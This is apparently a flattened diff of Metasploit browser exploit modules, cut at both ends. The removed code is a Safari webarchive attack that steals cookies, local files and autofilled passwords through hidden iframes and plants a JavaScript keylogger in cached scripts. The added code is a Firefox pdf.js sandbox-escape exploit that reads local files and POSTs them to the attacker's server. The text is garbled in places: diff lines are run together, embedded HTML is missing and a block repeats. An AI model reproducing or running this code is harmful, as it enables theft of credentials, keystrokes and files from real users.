'/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), - OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]), - OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]), - OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]), - OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true]) - ], - self.class) end def run - if should_install_keyloggers? - print_status("Fetching URLs to parse and look for cached assets...") - self.scripts_to_poison = find_cached_scripts + if datastore["URIPATH"].blank? + datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end + print_status("Creating '#{datastore['FILENAME']}' file...") file_create(webarchive_xml) - print_status("Running WebServer...") - start_http - end - - def cleanup - super - # clear my resource, deregister ref, stop/close the HTTP socket - begin - @http_service.remove_resource(collect_data_uri) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - # - # Ensures that gzip can be used. If not, an exception is generated. The - # exception is only raised if the DisableGzip advanced option has not been - # set. - # - def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") - end - end - - # - # Handle the HTTP request and return a response. Code borrorwed from: - # msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are present before initializing HTTP - use_zlib - - comm = datastore['ListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Default the server host / port - opts = { - 'ServerHost' => datastore['SRVHOST'], - 'ServerPort' => datastore['SRVPORT'], - 'Comm' => comm - }.update(opts) - - # Start a new HTTP server - @http_service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - opts['ServerPort'].to_i, - opts['ServerHost'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - opts['Comm'], - datastore['SSLCert'] - ) - - @http_service.server_name = datastore['HTTP::server_name'] - - # Default the procedure of the URI to on_request_uri if one isn't - # provided. - uopts = { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => collect_data_uri - }.update(opts['Uri'] || {}) - - proto = (datastore["SSL"] ? "https" : "http") - print_status("Data capture URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") - - if (opts['ServerHost'] == '0.0.0.0') - print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}") - end - - # Add path to resource - @service_path = uopts['Path'] - @http_service.add_resource(uopts['Path'], uopts) - - # Add path to download - uopts = { - 'Proc' => Proc.new { |cli, req| - resp = Rex::Proto::Http::Response::OK.new - resp['Content-Type'] = 'application/x-webarchive' - resp.body = @xml.to_s - cli.send_response resp - }, - 'Path' => webarchive_download_url - }.update(opts['Uri'] || {}) - @http_service.add_resource(webarchive_download_url, uopts) - - print_status("Download URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{webarchive_download_url}") - - # As long as we have the http_service object, we will keep the ftp server alive - while @http_service - select(nil, nil, nil, 1) - end + exploit end def on_request_uri(cli, request) - begin - data_str = if request.body.size > 0 - request.body - else - request.qstring['data'] + if request.method =~ /post/i + data_str = request.body.to_s + begin + data = JSON::parse(data_str || '') + file = record_data(data, cli) + send_response_html(cli, '') + print_good "#{data_str.length} chars received and stored to #{file}" + rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up + file = record_data(data_str, cli) + print_error "Invalid JSON stored in #{file}" + send_response_html(cli, '') end - data = JSON::parse(data_str || '') - file = record_data(data, cli) - send_response_html(cli, '') - print_good "#{data_str.length} chars received and stored to #{file}" - rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up - print_error "Invalid JSON received: #{data_str}" - send_not_found(cli) + else + send_response(cli, webarchive_xml, { + 'Content-Type' => 'application/x-webarchive', + 'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\"" + }) end end # @param [Hash] data the data to store in the log # @return [String] filename where we are storing the data def record_data(data, cli) - @client_cache ||= Hash.new({}) - @client_cache[cli.peerhost]['file'] ||= store_loot( - "safari.client", "text/plain", cli.peerhost, '', "safari_webarchive", "Webarchive Collected Data" + if data.is_a? Hash + file = File.basename(data.keys.first).gsub(/[^A-Za-z]/,'') + end + store_loot( + file || "data", "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data" ) - file = @client_cache[cli.peerhost]['file'] - - @client_cache[cli.peerhost]['data'] ||= [] - @client_cache[cli.peerhost]['data'].push(data) - data_str = JSON.generate(@client_cache[cli.peerhost]['data']) - - File.write(file, data_str) - - file - end - - ### ASSEMBLE THE WEBARCHIVE XML ### - - # @return [String] contents of webarchive as an XML document - def webarchive_xml - return @xml if not @xml.nil? # only compute xml once - @xml = webarchive_header - urls.each_with_index { |url, idx| @xml << webarchive_iframe(url, idx) } - @xml << webarchive_footer - end - - # @return [String] the first chunk of the webarchive file, containing the WebMainResource - def webarchive_header - %Q| - - - - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframes_container_html)} - WebResourceFrameName - - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - file:/// - - WebSubframeArchives - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - def webarchive_iframe(url, idx) - %Q| - - WebMainResource - - WebResourceData - - #{Rex::Text.encode_base64(iframe_content_for_url(url))} - WebResourceFrameName - <!--framePath //<!--frame#{idx}-->--> - WebResourceMIMEType - text/html - WebResourceTextEncodingName - UTF-8 - WebResourceURL - #{escape_xml url} - - #{webarchive_iframe_subresources(url, idx)} - - | - end - - # @return [String] the XML mark up for adding a set of "stored" resources at - # the given URLs - def webarchive_iframe_subresources(url, idx) - %Q| - WebSubresources - - #{webarchive_resources_for_poisoning_cache(url)} - - | - end - - # @return [String] the XML markup to insert into the webarchive for each unique - # iframe (we use one frame per site we want to steal) - # @return '' if msf user does not want to poison cache - def webarchive_resources_for_poisoning_cache(url) - if not should_install_keyloggers? then return '' end - - url_idx = urls.index(url) - scripts = scripts_to_poison[url_idx] || [] - xml_dicts = scripts.map do |script| - script_body = inject_js_keylogger(script[:body]) - %Q| - - WebResourceData - - #{Rex::Text.encode_base64(script_body)} - - WebResourceMIMEType - application/javascript - WebResourceResponse - - #{Rex::Text.encode_base64 web_response_xml(script)} - - WebResourceURL - #{escape_xml script[:url]} - - | - end - xml_dicts.join - end - - # @return [String] the closing chunk of the webarchive XML code - def webarchive_footer - %Q| - - - - | - end - - # @param script [Hash] containing HTTP headers from the request - # @return [String] xml markup for serialized WebResourceResponse containing good - # stuff like HTTP/caching headers. Safari appears to do the following: - # NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data]; - # [a encodeObject:response forKey:@"WebResourceResponse"]; - def web_response_xml(script) - # this is a serialized NSHTTPResponse, i'm too lazy to write a - # real encoder so yay lets use string interpolation. - # ripped this straight out of a webarchive save - script['content-length'] = script[:body].length - whitelist = %w(content-type content-length date etag - Last-Modified cache-control expires) - headers = script.clone.delete_if { |k, v| not whitelist.include? k } - - key_set = headers.keys.sort - val_set = key_set.map { |k| headers[k] } - key_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+i } - end - val_refs = key_set.each_with_index.map do |k, i| - { 'CF$UID' => 9+key_set.length+i } - end - %Q| - - - - - $archiver - NSKeyedArchiver - $objects - - $null - - $0 - 8 - $1 - 1 - $10 - 8 - $11 - 0 - $2 - 7 - $3 - - CF$UID - 2 - |+ - (4..7).map do |i| - %Q| - $#{i} - - CF$UID - #{i+1} - | - end.join("\n") + %Q| - $8 - - CF$UID - #{8+key_set.length*2+2} - - $9 - - CF$UID - 0 - - $class - - CF$UID - #{8+key_set.length*2+3} - - - - $class - - CF$UID - 4 - - NS.base - - CF$UID - 0 - - NS.relative - - CF$UID - 3 - - - #{escape_xml script[:url]} - - $classes - - NSURL - NSObject - - $classname - NSURL - - 388430153.25252098 - 1 - 200 - - $class - - CF$UID - #{8+key_set.length*2+1} - - NS.keys - |+ - key_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+i} - | - end.join("\n") + %Q| - - NS.objects - |+ - val_set.each_with_index.map do |k, i| - %Q| - CF$UID - #{9+key_set.length+i} - | - end.join("\n") + %Q| - - - #{key_set.map{|s| "#{s}" }.join("\n")} - #{val_set.map{|s| "#{s}" }.join("\n")} - - $classes - - NSMutableDictionary - NSDictionary - NSObject - - $classname - NSMutableDictionary - - 107961 - - $classes - - NSHTTPURLResponse - NSURLResponse - NSObject - - $classname - NSHTTPURLResponse - - - $top - - WebResourceResponse - - CF$UID - 1 - - - $version - 100000 - - - | - end - - - #### JS/HTML CODE #### - - # Wraps the result of the block in an HTML5 document and body - def wrap_with_doc(&blk) - %Q| - - - - #{yield} - - - | - end - - # Wraps the result of the block with " - end - - # @return [String] mark up for embedding the iframes for each URL in a place that is - # invisible to the user - def iframes_container_html - hidden_style = "position:fixed; left:-600px; top:-600px;" - wrap_with_doc do - frames = urls.map { |url| "" } - communication_js + frames.join + injected_js_helpers + steal_files + message - end - end - - # @return [String] javascript code, wrapped in script tags, that is inserted into the - # WebMainResource (parent) frame so that child frames can communicate "up" to the parent - # and send data out to the listener - def communication_js - wrap_with_script do - %Q| - window.addEventListener('message', function(event){ - var x = new XMLHttpRequest; - x.open('POST', '#{backend_url}#{collect_data_uri}', true); - x.send(event.data); - }); - | - end - end - - # @return [String] all the HTML markup required for executing the chosen attacks - def iframe_content_for_url(url) - # this JS code runs inside the iframes, in the context of url - html = '' - html << injected_js_helpers - html << trigger_cache_poison_for_url(url) if should_install_keyloggers? - html << steal_cookies_for_url(url) if should_steal_cookies? - html << steal_form_data_for_url(url) if should_steal_form? - wrap_with_doc { html } - end - - # @return [String] javascript code, wrapped in a script tag, that steals the cookies - # and response body/headers, and passes them back up to the parent. - def steal_cookies_for_url(url) - wrap_with_script do - %Q| - try { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', '#{url}', true); - req.onreadystatechange = function() { - if (req.readyState==4 && !sent) { - sendData('#{url}', { - response_headers: req.getAllResponseHeaders(), - response_body: req.responseText - }); - sent = true; - } - }; - req.send(null); - } catch (e) {} - sendData('cookie', document.cookie); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals local files - # and sends them back to the listener. This code is executed in the WebMainResource (parent) - # frame, which runs in the file:// protocol - def steal_files - return '' unless should_steal_files? - urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ') - wrap_with_script do - %Q| - var filesStr = "#{urls_str}"; - var files = filesStr.trim().split(/\s+/); - var stealFile = function(url) { - var req = new XMLHttpRequest(); - var sent = false; - req.open('GET', url, true); - req.onreadystatechange = function() { - if (!sent && req.responseText && req.responseText.length > 0) { - sendData(url, req.responseText); - sent = true; - } - }; - req.send(null); - }; - for (var i = 0; i < files.length; i++) stealFile(files[i]); - | - end - end - - # @return [String] javascript code, wrapped in a script tag, that steals autosaved form - # usernames and passwords. The attack first tries to render the target URL in an iframe, - # and steal populated passwords from there. If the site disables iframes through the - # X-Frame-Options header, we try popping open a new window and rendering the site in that. - def steal_form_data_for_url(url) - wrap_with_script do - %Q| - var stealFormData = function(win, completeFn) { - var doc = win.document; - if (!doc) doc = win.contentDocument; - return function() { - var data = {}, found = false; - try { - var inputs = doc.querySelectorAll( - 'input[type=email],input[type=text],input[type=password],textarea' - ); - for (var i = 0; i < inputs.length; i++) { - if (inputs[i].value && inputs[i].value.length > 0) { - found = true; - data[inputs[i].name] = inputs[i].value; - } - } - if (found) sendData(data); - if (completeFn) completeFn.call(); - } catch(e) {} - } - } - - var tryInNewWin = function() { - var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;'); - if (y) { - var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20); - y.addEventListener('load', function() { - window.setTimeout(stealFormData(y, function(){ - if (int1) { - window.clearInterval(int1); - int1 = null; - } - y.close(); - }), 500); - }, false); - } - }; - var tryInIframe = function(){ - var i = document.createElement('iframe'); - i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;'; - document.body.appendChild(i); - i.src = '#{url}'; - i.addEventListener('load', function() { - window.setTimeout(stealFormData(i), 500); - }, false); - return i; - }; - - var iframe = tryInIframe(); - if (#{should_pop_up?}) { - window.setTimeout(function(){ - - if (iframe.contentDocument && - iframe.contentDocument.location.href == 'about:blank') { - tryInNewWin(); - } - }, 1000) - } - | - end - end - - # @return [String] javascript code, wrapped in script tag, that adds a helper function - # called "sendData()" that passes the arguments up to the parent frame, where it is - # sent out to the listener - def injected_js_helpers - wrap_with_script do - %Q| - window.sendData = function(key, val) { - var data = {}; - data[key] = val; - window.top.postMessage(JSON.stringify(data), "*") - }; - | - end - end - - # @return [String] HTML markup that includes a script at the URL we want to poison - # We will then install the injected_js_keylogger at the same URL - def trigger_cache_poison_for_url(url) - url_idx = urls.index(url) - scripts_to_poison[url_idx].map { |s| - "\n\n" - }.join - end - - # @param original_js [String] the original contents of the script file - # @return [String] the poisoned contents. Once the module has found a valid 304'd script to - # poison, it "poisons" it by adding a keylogger, then adds the output as a resource with - # appropriate Cache-Control to the webarchive. - # @return [String] the original contents if msf user does not want to install keyloggers - def inject_js_keylogger(original_js) - if not should_install_keyloggers? - original_js - else - frame_name = 'lalala___lalala' - secret = '____INSTALLED!??!' - %Q| - (function(){ - if (window['#{secret}']) return; - window['#{secret}'] = true; - document.addEventListener('DOMContentLoaded',function(){ - var buffer = ''; - var sendData = function(keystrokes, time) { - var img = new Image(); - data = JSON.stringify({keystrokes: keystrokes, time: time}); - img.src = '#{backend_url}#{collect_data_uri}?data='+data; - } - document.addEventListener('keydown', function(e) { - var c = String.fromCharCode(e.keyCode); - if (c.length > 0) buffer += c; - }, true); - window.setInterval(function(){ - if (buffer.length > 0) { - sendData(buffer, new Date); - buffer = ''; - } - }, 3000) - }); - })(); - #{original_js} - | - end - end - - # @return [Array>] list of URLs provided by the user mapped to all of the linked - # javascript assets in its HTML response. - def all_script_urls(pages) - pages.map do |url| - results = [] - print_status "Fetching URL #{url}..." - # fetch and parse the HTML document - doc = Nokogiri::HTML(URI.parse(url).open) - # recursively add scripts from iframes - doc.css('iframe').each do |iframe| - print_status "Checking iframe..." - if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty? - results += all_script_urls([iframe.attributes['src'].value]) - end - end - # add all scripts on the current page - doc.css('script').each do |script| # loop over every " + end + + def backend_url + proto = (datastore['SSL'] ? 'https' : 'http') + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + + "#{proto}://#{my_host}#{port_str}#{resource}/catch" + end + + + def file_payload + %Q| + var files = (#{JSON.generate(file_urls)}); + function next() { + var f = files.pop(); + if (f) { + get("file://"+f, function() { + var data = get_data(this); + var x = new XMLHttpRequest; + x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%")); + x.send(data); + }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f); + setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200); + } + } + next(); + | + end + + def file_urls + datastore['FILES'].split(',').map(&:strip) + end + + def js + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + i = document.getElementById('i'); + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', ''; + + setTimeout(function(){ + var opts = #{JSON.unparse(opts)}; + var key = opts['#{key}']; + q.messageManager.loadFrameScript('data:,'+key, false); + setTimeout(function(){ + q.close(); + }, 100) + }, 100) + }, 100); + } + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1]; + s = s.substring(0, s.length - 1); + if (template && value) { + s = s.replace(template, value); + } + s += __proto; + s += xml2string; + s += get_data; + s = s.replace(/\\s\\/\\/.*\\n/g, ""); + s = s + ";undefined"; + return s; +} + +function get_sandbox_context() { + if (window.my_win_id == null) { + for (var i = 0; i < 20; i++) { + try { + if (window[i].location.toString().indexOf("view-source:") != -1) { + my_win_id = i; + break; + } + } catch (e) {} + } + }; + if (window.my_win_id == null) + return; + clearInterval(sandbox_context_i); + object.data = 'view-source:' + blobURL; + window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,'; + object.data = 'data:text/html,<'+'html/>'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '